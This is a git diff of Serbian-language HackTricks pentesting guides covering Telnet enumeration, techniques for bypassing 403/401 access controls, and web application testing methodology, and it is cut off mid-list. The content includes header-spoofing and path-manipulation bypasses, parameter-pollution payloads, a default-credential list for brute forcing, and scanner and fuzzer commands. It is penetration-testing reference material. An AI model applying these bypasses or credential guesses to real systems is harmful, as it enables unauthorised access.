**kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -14,9 +14,9 @@ Drugi načini podrške HackTricks-u: -
+
-**Instantno dostupno podešavanje za procenu ranjivosti & testiranje probojnosti**. Pokrenite kompletan pentest odakle god sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju & eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju školjke i zabavljaju se. +**Instantno dostupno podešavanje za procenu ranjivosti & testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju & eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju školjke i zabavljaju se. {% embed url="https://pentest-tools.com/" %} @@ -38,9 +38,9 @@ Svu zanimljivu enumeraciju može izvršiti **nmap**: ```bash nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` -Skripta `telnet-ntlm-info.nse` će dobiti NTLM informacije (Windows verzije). +Skripta `telnet-ntlm-info.nse` će dobiti NTLM informacije (verzije Windows-a). -Iz [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): U TELNET protokolu postoje različite "**opcije**" koje će biti odobrene i mogu se koristiti sa "**DO, DON'T, WILL, WON'T**" strukturom kako bi korisnik i server mogli da se slože oko korišćenja složenijeg (ili možda samo drugačijeg) skupa konvencija za njihovu TELNET konekciju. Takve opcije mogu uključivati promenu skupa karaktera, režim eha, itd. +Iz [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): U TELNET protokolu postoje različite "**opcije**" koje će biti sankcionisane i mogu se koristiti sa "**DO, DON'T, WILL, WON'T**" strukturom kako bi korisnik i server mogli da se slože da koriste složeniji (ili možda samo drugačiji) skup konvencija za svoju TELNET konekciju. Takve opcije mogu uključivati promenu skupa karaktera, režim eha, itd. **Znam da je moguće enumerisati ove opcije, ali ne znam kako, pa me obavestite ako znate kako.** @@ -52,7 +52,7 @@ Iz [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): U TELNET protokol /etc/xinetd.d/telnet /etc/xinetd.d/stelnet ``` -## HackTricks Automatske Komande +## Automatske komande HackTricks-a ``` Protocol_Name: Telnet #Protocol Abbreviation if there is one. Port_Number: 23 #Comma separated if there is more than one. @@ -84,9 +84,9 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit' ``` -
+
-**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest sa više od 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za detekciju i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest sa više od 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. {% embed url="https://pentest-tools.com/" %} @@ -96,7 +96,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index 3ed498f3a..805d1dc4d 100644 --- a/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -1,4 +1,4 @@ -# Bypass-ovi 403 & 401 +# Bypass-ovi za 403 & 401
@@ -14,9 +14,9 @@ Drugi načini podrške HackTricks-u:
-
+
-**Instantno dostupno podešavanje za procenu ranjivosti & testiranje proboja**. Pokrenite kompletan pentest odakle god sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju školjke i zabavljaju se. +**Instantno dostupno podešavanje za procenu ranjivosti & testiranje proboja**. Pokrenite kompletan pentest odakle god sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za otkrivanje & eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju školjke i zabavljaju se. {% embed url="https://pentest-tools.com/" %} @@ -31,7 +31,7 @@ Pokušajte koristiti **različite glagole** za pristup fajlu: `GET, HEAD, POST, ## Faziranje HTTP zaglavlja * **Promenite Host zaglavlje** u neku proizvoljnu vrednost ([koja je ovde radila](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) -* Pokušajte da [**koristite druge korisničke agente**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) za pristup resursu. +* Pokušajte [**koristiti druge korisničke agente**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) za pristup resursu. * **Fazirajte HTTP zaglavlja**: Pokušajte korišćenje HTTP Proxy **zaglavlja**, HTTP Authentication Basic i NTLM brute-force (samo sa nekoliko kombinacija) i druge tehnike. Za sve ovo sam kreirao alat [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). * `X-Originating-IP: 127.0.0.1` @@ -53,7 +53,7 @@ Ako je **putanja zaštićena** možete pokušati da zaobiđete zaštitu putanje * `X-Original-URL: /admin/console` * `X-Rewrite-URL: /admin/console` * Ako je stranica **iza proksija**, možda je proksi taj koji vam sprečava pristup privatnim informacijama. Pokušajte zloupotrebiti [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **ili** [**hop-by-hop zaglavlja**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** -* Fazirajte [**specijalna HTTP zaglavlja**](special-http-headers.md) tražeći različit odgovor. +* Fazirajte [**specijalna HTTP zaglavlja**](special-http-headers.md) tražeći različite odgovore. * **Fazirajte specijalna HTTP zaglavlja** dok fazirate **HTTP Metode**. * **Uklonite Host zaglavlje** i možda ćete moći da zaobiđete zaštitu. @@ -74,19 +74,19 @@ Ako je _/putanja_ blokirana: * sajt.com/.;/tajno –> HTTP 200 OK * sajt.com//;//tajno –> HTTP 200 OK * sajt.com/tajno.json –> HTTP 200 OK (ruby) -* Koristite sve [**ovu listu**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) u sledećim situacijama: +* Koristite svu [**ovu listu**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) u sledećim situacijama: * /FUZZtajno * /FUZZ/tajno * /tajnoFUZZ * **Druga API zaobilaženja:** -* /v3/korisnici\_podaci/1234 --> 403 Forbidden -* /v1/korisnici\_podaci/1234 --> 200 OK +* /v3/korisnici_podaci/1234 --> 403 Forbidden +* /v1/korisnici_podaci/1234 --> 200 OK * {“id”:111} --> 401 Neovlašćeno * {“id”:\[111]} --> 200 OK * {“id”:111} --> 401 Neovlašćeno * {“id”:{“id”:111\}} --> 200 OK -* {"user\_id":"\","user\_id":"\"} (Zagađenje JSON parametara) -* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Zagađenje parametara) +* {"user\_id":"\","user\_id":"\"} (Zagađenje JSON parametara) +* user\_id=ID_NAPADACA\&user\_id=ID_ZRTVE (Zagađenje parametara) ## **Manipulacija parametrima** * Promenite **vrednost parametra**: Od **`id=123` --> `id=124`** @@ -102,17 +102,17 @@ Ako koristite HTTP/1.1 **pokušajte da koristite 1.0** ili čak testirajte da li ## **Ostali načini zaobilaženja** -* Dobijte **IP** ili **CNAME** domena i pokušajte da ga **kontaktirate direktno**. +* Dobijte **IP** ili **CNAME** domena i pokušajte **direktno kontaktirati**. * Pokušajte da **opteretite server** slanjem uobičajenih GET zahteva ([To je uspelo ovom momku sa Facebookom](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). -* **Promenite protokol**: sa http na https, ili sa https na http +* **Promenite protokol**: od http do https, ili sa https na http * Idite na [**https://archive.org/web/**](https://archive.org/web/) i proverite da li je ta datoteka **bila dostupna širom sveta** u prošlosti. ## **Brute Force** -* **Pogađanje lozinke**: Testirajte sledeće uobičajene akreditive. Da li znate nešto o žrtvi? Ili ime izazova CTF-a? +* **Pogađanje lozinke**: Testirajte sledeće uobičajene akreditive. Da li znate nešto o žrtvi? Ili ime izazova CTF? * [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Pokušajte osnovnu, digest i NTLM autentifikaciju. -{% code title="Uobičajeni akreditivi" %} +{% code title="Uobičajeni kredencijali" %} ``` admin admin admin password @@ -123,6 +123,8 @@ root toor test test guest guest ``` +{% endcode %} + ## Automatski alati * [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx) @@ -131,9 +133,9 @@ guest guest * [Burp Ekstenzija - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122) * [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster) -
+
-**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alata i funkcija koje idu od rekonstrukcije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alata i funkcija koje idu od rekonstrukcije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se. {% embed url="https://pentest-tools.com/" %} @@ -143,10 +145,10 @@ guest guest Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md index fa730d682..56ef6dc0f 100644 --- a/network-services-pentesting/pentesting-web/README.md +++ b/network-services-pentesting/pentesting-web/README.md @@ -1,4 +1,4 @@ -# 80,443 - Metodologija Pentestinga Veb Sajtova +# 80,443 - Metodologija testiranja penetracije veb aplikacija
@@ -10,19 +10,19 @@ Drugi načini podrške HackTricks-u: * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-
+
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika, kako pismeno tako i usmeno_). {% embed url="https://www.stmcyber.com/careers" %} -## Osnovne Informacije +## Osnovne informacije -Veb servis je naj**češći i najopsežniji servis** i postoji mnogo **različitih vrsta ranjivosti**. +Veb servis je naj**češći i najobimniji servis** i postoji mnogo **različitih vrsta ranjivosti**. **Podrazumevani port:** 80 (HTTP), 443(HTTPS) ```bash @@ -41,7 +41,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 [web-api-pentesting.md](web-api-pentesting.md) {% endcontent-ref %} -## Rezime metodologije +## Sažetak metodologije > U ovoj metodologiji pretpostavljamo da ćete napasti domen (ili poddomen) i samo to. Stoga, trebalo bi primeniti ovu metodologiju na svaki otkriveni domen, poddomen ili IP sa nepoznatim web serverom unutar opsega. @@ -51,13 +51,13 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 * [ ] Da li postoji **specijalizovani skener** za pokretanje (poput wpscan-a)? * [ ] Pokrenite **skenere opšte namene**. Nikad ne znate da li će pronaći nešto ili ako će pronaći neke zanimljive informacije. * [ ] Počnite sa **početnim proverama**: **robots**, **sitemap**, **404** greška i **SSL/TLS sken** (ako je HTTPS). -* [ ] Počnite sa **spideringom** web stranice: Vreme je da **pronađete** sve moguće **datoteke, fascikle** i **parametre koji se koriste**. Takođe, proverite **specijalna otkrića**. -* [ ] _Imajte na umu da svaki put kada se otkrije nova fascikla tokom brute-forcinga ili spideringa, treba je spiderovati._ -* [ ] **Brute-Force direktorijuma**: Pokušajte da brute force-ujete sve otkrivene fascikle tražeći nove **datoteke** i **direktorijume**. -* [ ] _Imajte na umu da svaki put kada se otkrije nova fascikla tokom brute-forcinga ili spideringa, treba je Brute-Force-ovati._ -* [ ] **Provera rezervnih kopija**: Testirajte da li možete pronaći **rezervne kopije** otkrivenih datoteka dodavanjem uobičajenih ekstenzija za rezervne kopije. +* [ ] Počnite sa **spiderovanjem** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste**. Takođe, proverite za **posebne nalaze**. +* [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spiderovanja, treba ga spiderovati._ +* [ ] **Brute-Force direktorijuma**: Pokušajte da brute force-ujete sve otkrivene foldere tražeći nove **fajlove** i **direktorijume**. +* [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spiderovanja, treba ga Brute-Force-ovati._ +* [ ] **Provera rezervnih kopija**: Testirajte da li možete pronaći **rezervne kopije** otkrivenih fajlova dodavanjem uobičajenih ekstenzija za rezervne kopije. * [ ] **Brute-Force parametara**: Pokušajte da **pronađete skrivene parametre**. -* [ ] Kada ste **identifikovali** sve moguće **krajnje tačke** koje prihvataju **korisnički unos**, proverite sve vrste **ranjivosti** povezane sa tim. +* [ ] Kada ste **identifikovali** sve moguće **endpoints** koji prihvataju **korisnički unos**, proverite sve vrste **ranjivosti** povezane sa tim. * [ ] [Pratite ovu listu za proveru](../../pentesting-web/web-vulnerabilities-methodology/) ## Verzija servera (Ranjiva?) @@ -117,18 +117,18 @@ Neki **trikovi** za **pronalaženje ranjivosti** u različitim dobro poznatim ** * [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/) _Uzmite u obzir da **isti domen** može koristiti **različite tehnologije** na različitim **portovima**, **folderima** i **poddomenima**._\ -Ako veb aplikacija koristi bilo koju dobro poznatu **tehnologiju/platformu navedenu ranije** ili **bilo koju drugu**, ne zaboravite da **pretražite na internetu** nove trikove (i obavestite me!). +Ako veb aplikacija koristi neku od dobro poznatih **tehnologija/platformi navedenih ranije** ili **bilo koju drugu**, ne zaboravite da **pretražite Internet** za nove trikove (i obavestite me!). ### Pregled izvornog koda -Ako je **izvorni kod** aplikacije dostupan na **githubu**, osim što ćete sami izvršiti **White box test** aplikacije, postoji **neke informacije** koje bi mogle biti **korisne** za trenutno **Black-Box testiranje**: +Ako je **izvorni kod** aplikacije dostupan na **githubu**, osim što ćete izvršiti **svoj White box test** aplikacije, postoji **neke informacije** koje bi mogle biti **korisne** za trenutno **Black-Box testiranje**: * Da li postoji **Change-log ili Readme ili fajl sa verzijom** ili bilo šta sa **informacijama o verziji dostupno** putem veba? * Kako i gde su sačuvani **kredencijali**? Postoji li (dostupan?) **fajl** sa kredencijalima (korisnička imena ili lozinke)? -* Da li su **lozinke** u **čistom tekstu**, **šifrovane** ili koja **hashing algoritam** se koristi? +* Da li su **lozinke** u **čistom tekstu**, **šifrovane** ili koji **algoritam za heširanje** se koristi? * Da li se koristi neki **master ključ** za šifrovanje nečega? Koji **algoritam** se koristi? * Možete li **pristupiti nekom od ovih fajlova** iskorišćavanjem neke ranjivosti? -* Da li postoji **interesantna informacija na githubu** (rešeni i nerešeni) **problemi**? Ili u **istoriji commitova** (možda neka **lozinka uneta unutar starog commita**)? +* Da li postoji **interesantna informacija na githubu** (rešeni i nerešeni) **problemi**? Ili u **istoriji commitova** (možda neka **lozinka uneta u starom commitu**)? {% content-ref url="code-review-tools.md" %} [code-review-tools.md](code-review-tools.md) @@ -148,7 +148,7 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### Skeneri CMS-a +#### Skeneri za CMS Ako se koristi CMS, ne zaboravite **pokrenuti skener**, možda pronađete nešto zanimljivo: @@ -165,7 +165,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs ``` > U ovom trenutku već biste trebali imati neke informacije o web serveru koji koristi klijent (ako su dostupni podaci) i neke trikove na umu tokom testa. Ako imate sreće, možda ste čak pronašli CMS i pokrenuli neki skener. -## Korak-po-korak otkrivanje web aplikacije +## Otkrivanje web aplikacija korak po korak > Od ovog trenutka počinjemo interakciju sa web aplikacijom. @@ -194,14 +194,14 @@ Veb serveri se mogu **neočekivano ponašati** kada im se šalju čudni podaci. Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno dozvola za **otpemljivanje fajlova** u osnovnom folderu, pokušajte: * **Bruteforce** pristupne podatke -* **Otpremite fajlove** putem WebDav-a u **ostale** pronađene foldere unutar web stranice. Možda imate dozvole za otpremanje fajlova u drugim folderima. +* **Otpremite fajlove** putem WebDav-a u **ostale** **pronađene foldere** unutar web stranice. Možda imate dozvole za otpremanje fajlova u drugim folderima. ### **Ranjivosti SSL/TLS** -* Ako aplikacija **ne forsira korišćenje HTTPS** u bilo kom delu, onda je **ranjiva na MitM** napade -* Ako aplikacija **šalje osetljive podatke (šifre) koristeći HTTP**. Tada je to visoka ranjivost. +* Ako aplikacija **ne zahteva korišćenje HTTPS** od korisnika ni u jednom trenutku, onda je **ranjiva na MitM** (napad usred čoveka) +* Ako aplikacija **šalje osetljive podatke (šifre) putem HTTP**. Tada je to visoka ranjivost. -Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) za provere **ranjivosti** (U programima za Bug Bounty verovatno ove vrste ranjivosti neće biti prihvaćene) i koristite [**a2sv** ](https://github.com/hahwul/a2sv) za ponovnu proveru ranjivosti: +Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) za provere **ranjivosti** (U programima za Bug Bounty verovatno ovakve vrste ranjivosti neće biti prihvaćene) i koristite [**a2sv** ](https://github.com/hahwul/a2sv) za ponovnu proveru ranjivosti: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -220,11 +220,11 @@ Informacije o ranjivostima SSL/TLS protokola: Pokrenite neku vrstu **spidera** unutar veba. Cilj spajdera je da **pronađe što više putanja** kao moguće iz testirane aplikacije. Stoga, pretraživanje veba i spoljni izvori treba da se koriste kako bi se pronašlo što više validnih putanja. * [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder u JS fajlovima i spoljni izvori (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, sa LinkFiderom za JS fajlove i Archive.org kao spoljni izvor. +* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, sa LinkFiderom za JS fajlove i Archive.org kao spoljni izvor. * [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe pokazuje "sočne fajlove". * [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje u Archive.org * [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider ali može biti koristan. Možete samo naznačiti fajl sa hostovima i fajl sa putanjama i meg će dohvatiti svaku putanju na svakom hostu i sačuvati odgovor. -* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima JS renderovanja. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira. +* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima JS renderovanja. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira * [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi spoljne provajdere (wayback, otx, commoncrawl) * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ovaj skript će pronaći URL-ove sa parametrima i izlistati ih. * [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa mogućnostima JS renderovanja. @@ -233,16 +233,16 @@ Pokrenite neku vrstu **spidera** unutar veba. Cilj spajdera je da **pronađe št * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skript koji koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript fajlova. Korisno za lako otkrivanje AJAX zahteva. Izgleda da nije održavan. * [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dajući fajl (HTML) izvući će URL-ove iz njega koristeći pametne regularne izraze za pronalaženje i izdvajanje relativnih URL-ova iz ružnih (minifikovanih) fajlova. * [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Sakupljanje interesantnih informacija iz JS fajlova koristeći nekoliko alata. -* [**subjs**](https://github.com/lc/subjs) (go): Pronađite JS fajlove. -* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učitajte stranicu u headless pretraživaču i ispišite sve učitane URL-ove za učitavanje stranice. +* [**subjs**](https://github.com/lc/subjs) (go): Pronađi JS fajlove. +* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Učitaj stranicu u headless pretraživaču i ispiši sve učitane URL-ove za učitavanje stranice. * [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Alat za otkrivanje sadržaja koji kombinuje nekoliko opcija prethodnih alata * [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Burp ekstenzija za pronalaženje putanja i parametara u JS fajlovima. -* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji će vam dati beatificirani JS kod kada mu date .js.map URL +* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Alat koji će vam dati beatificirani JS kod dajući .js.map URL * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Ovo je alat koji se koristi za otkrivanje krajnjih tačaka za određenu metu. * [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrijte linkove sa wayback mašine (takođe preuzimajući odgovore u wayback i tražeći više linkova * [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Pretražujte (čak i popunjavanjem formi) i takođe pronađite osetljive informacije koristeći specifične regexe. -* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite je napredni GUI web sigurnosni Crawler/Spider dizajniran za profesionalce u oblasti sajber sigurnosti. -* [**jsluice**](https://github.com/BishopFox/jsluice) (go): To je Go paket i [komandno-linijski alat](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za izdvajanje URL-ova, putanja, tajni i drugih interesantnih podataka iz izvornog koda JavaScript-a. +* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite je napredni višefunkcionalni GUI web sigurnosni Crawler/Spider dizajniran za profesionalce u oblasti sajber sigurnosti. +* [**jsluice**](https://github.com/BishopFox/jsluice) (go): To je Go paket i [komandno-linijski alat](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za izdvajanje URL-ova, putanja, tajni i drugih interesantnih podataka iz izvornog koda JavaScripta. * [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavno **Burp Suite proširenje** za **izdvajanje parametara i krajnjih tačaka** iz zahteva kako bi se kreirala prilagođena lista reči za fuzzing i enumeraciju. ### Brute Force direktorijumi i fajlovi @@ -250,9 +250,9 @@ Pokrenite neku vrstu **spidera** unutar veba. Cilj spajdera je da **pronađe št Počnite **brute-forcing** od korenskog foldera i budite sigurni da brute-force-ujete **sve** **pronađene direktorijume** koristeći **ovu metodu** i sve direktorijume **otkrivene** pomoću **Spidering-a** (možete ovo brute-force-ovati **rekurzivno** i dodavati na početak korišćene liste reči imena pronađenih direktorijuma).\ Alati: -* **Dirb** / **Dirbuster** - Uključen u Kali, **star** (i **spor**) ali funkcionalan. Dozvoljava samopotpisane sertifikate i rekurzivnu pretragu. Previše spor u poređenju sa drugim opcijama. -* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Ne dozvoljava samopotpisane sertifikate ali** dozvoljava rekurzivnu pretragu. -* [**Gobuster**](https://github.com/OJ/gobuster) (go): Dozvoljava samopotpisane sertifikate, **nema** rekurzivnu pretragu. +* **Dirb** / **Dirbuster** - Uključen u Kali, **star** (i **spor**) ali funkcionalan. Dozvoljava automatski potpisane sertifikate i rekurzivnu pretragu. Previše spor u poređenju sa drugim opcijama. +* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Ne dozvoljava automatski potpisane sertifikate ali** dozvoljava rekurzivnu pretragu. +* [**Gobuster**](https://github.com/OJ/gobuster) (go): Dozvoljava automatski potpisane sertifikate, **nema** rekurzivnu pretragu. * [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Brz, podržava rekurzivnu pretragu.** * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` * [**ffuf** ](https://github.com/ffuf/ffuf)- Brz: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` @@ -281,39 +281,39 @@ Alati: _Napomena da svaki put kada se otkrije nova direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._ -### Šta proveriti na svakom pronađenom fajlu +### Šta proveriti kod svake pronađene datoteke -* [**Provera pokvarenih linkova**](https://github.com/stevenvachon/broken-link-checker): Pronađite pokvarene linkove unutar HTML-ova koji mogu biti podložni preuzimanju -* **Rezervne kopije fajlova**: Kada pronađete sve fajlove, potražite rezervne kopije svih izvršnih fajlova ("_.php_", "_.aspx_"...). Uobičajene varijacije za nazivanje rezervne kopije su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, 